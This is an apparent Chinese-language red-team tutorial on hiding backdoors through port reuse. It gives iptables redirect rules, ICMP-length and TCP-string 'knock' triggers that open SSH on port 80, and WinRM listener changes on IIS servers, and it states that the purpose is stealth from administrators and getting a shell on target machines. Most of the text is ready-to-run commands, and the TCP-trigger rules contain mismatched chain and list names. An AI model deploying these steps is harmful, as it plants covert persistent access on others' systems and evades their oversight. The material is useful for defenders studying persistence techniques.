介绍
端口复用是在一个开放的端口上,通过对输入信息进行字符匹配,来运行不同的服务。端口复用只对输入的信息进行字符匹配,不对网络数据进行任何拦截、复制操作,所以对网络数据传输的性能没什么影响
Linux利用iptables实现端口复用
方案一:根据源地址做端口复用
1 2 3 4 5 6
| # 将来自某个IP访问80端口的流量重定向到22端口 iptables -t nat -A PREROUTING -p tcp -s IP --dport 80 -j REDIRECT --to-port 22 # 查看nat表规则 iptables -t nat -nvL # 清除规则 iptables -t nat -F
|
此方法会导致正常的HTTP流量也会被转到22端口,影响正常流量,但是实战中VPS不会进行HTTP访问,所以这种方法是最常用的
方案二:根据源地址源端口做端口复用
1 2
| # 将来自某个IP的33333端口访问80端口的流量重定向到22端口 iptables -t nat -A PREROUTING -p tcp -s IP --sport 33333 --dport 80 -j REDIRECT --to-port 22
|
然后本机用socat将本地的44444端口的流量以源端口33333访问靶机的80,接着使用ssh连接本地的4444端口
1 2 3
| socat tcp-listen:44444,fork,reuseaddr tcp:IP:80,sourceport=33333,reuseaddr
ssh -p 44444 root@127.0.0.1
|
这个方法没法进行多开,因为3333已经被占用
方案三:利用ICMP协议做遥控开关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| # 创建端口复用链 iptables -t nat -N LETMEIN
# 创建端口复用规则,将流量转发给22端口 iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开关开启,如果接收到长为1139的ICMP包,就将来源IP添加到letmiein的列表里 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
# 开关关闭,如果收到长度为1140的ICMP数据包,将来源IP从letmein列表中删除 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
# 如果发现SYN包的来源IP在letmein列表内,将跳转到letmein链进行处理,有效时间为3600s iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
|
配置好靶机后,在本地执行
1 2 3 4 5 6 7 8
| # 开启复用,向目标发送一个长度为1139的ICMP包(包头28) ping -c 1 -s 1111 IP
# 现在可以进行ssh连接了 ssh -p 80 root@IP
# 关闭复用,向目标发送一个长度为1140的ICMP包(包头28) ping -c 1 -s 1112 IP
|
这个方法前提是ping通
方案四:利用TCP协议做遥控开关
这个方法在不在内网都能用
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| # 创建端口复用链 iptables -t nat -N LETMEIN
# 创建端口复用规则,将流量转发给22端口 iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关,如果收到一个含有threathuntercoming的TCP包,则将源IP添加到letmein列表内 iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name LEIMEIN2 --resource -j ACCEPT
# 开关关闭,如果接收到一个含有threathunterleaving的TCP包,则移除IP iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --set --name LEIMEIN2 --remove -j ACCEPT
# 如果发现SYN包的来源IP在letmein列表内,转到letmein链进行处理,有效时间3600s iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein2 --rsource -j LETMEIN2
|
配置好后使用下面触发
1 2 3 4 5 6 7 8
| # 开启 echo threathuntercoming | socat - tcp:IP:80
# 现在可以进行ssh连接了 ssh -p 80 root@IP
# 关闭 echo threathunterleaving | socat - tcp:IP:80
|
WIN利用WinRM实现端口复用打造隐蔽后门
此方法需要服务器是IIS,原理是使用windows的远程管理服务WinRM,结合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门
HTTP.Sys驱动是IIS的主要组成部分,主便负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing(端口共享)。所有基于HTTP.SyS驱动的HTTP应用都可以共享同一个端口,只需要各自注册的URL前缀不一样。而WinRM就是在HTTP.SyS上注册了 wsman 的URL前缀,默认监听 5985端口。因此,在安装了IIS的Windows服务器上,开启WinRM服务后修改默认监听端口为80或新增一个80端口的监听即可实现端口复用,通过Web端口登录Windows服务器
使用下面命令可以查看所有在HTTP.sys驱动上注册过的URL前缀
1
| netsh http show servicestate
|
端口复用配置
新增80端口监听
winserver2012以上的系统会默认监听5985端口,我们只需要新增一个80就能满足5985端口管理员正常使用,我们80端口也能使用
1
| winrm e winrm/config/listener
|
执行下面命令给winrm新增一个80端口的监听
1 2 3 4
| # 新增winrm 80 winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} # 查看监听 winrm e winrm/config/listener
|
修改WinRM默认监听端口
如果这个计算机原本没有开启WinRM,则需要将WinRM的默认监听端口改为80,不然管理员看到机器开5985会发现,如果默认开启了WinRM则不需要这一步
1 2 3 4 5
| # 快速启动WinRM winrm quickconfig -q
# 修改默认端口 winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
|
远程连接WinRM
本地需要连接的话一样需要开启winrm,使用下面命令快速qid
1 2 3 4 5 6 7 8 9
| winrm quickconfig -q # 设置信任连接的主机 winrm set winrm/config/Client @{TrustedHosts="*"}
# 通过winrm连接,并且执行whoami命令 winrm -t http://IP -u:xie\administrator -p:密码 whoami
# 获取shell winrm -t http://IP -u:xie\administrator -p:密码 cmd
|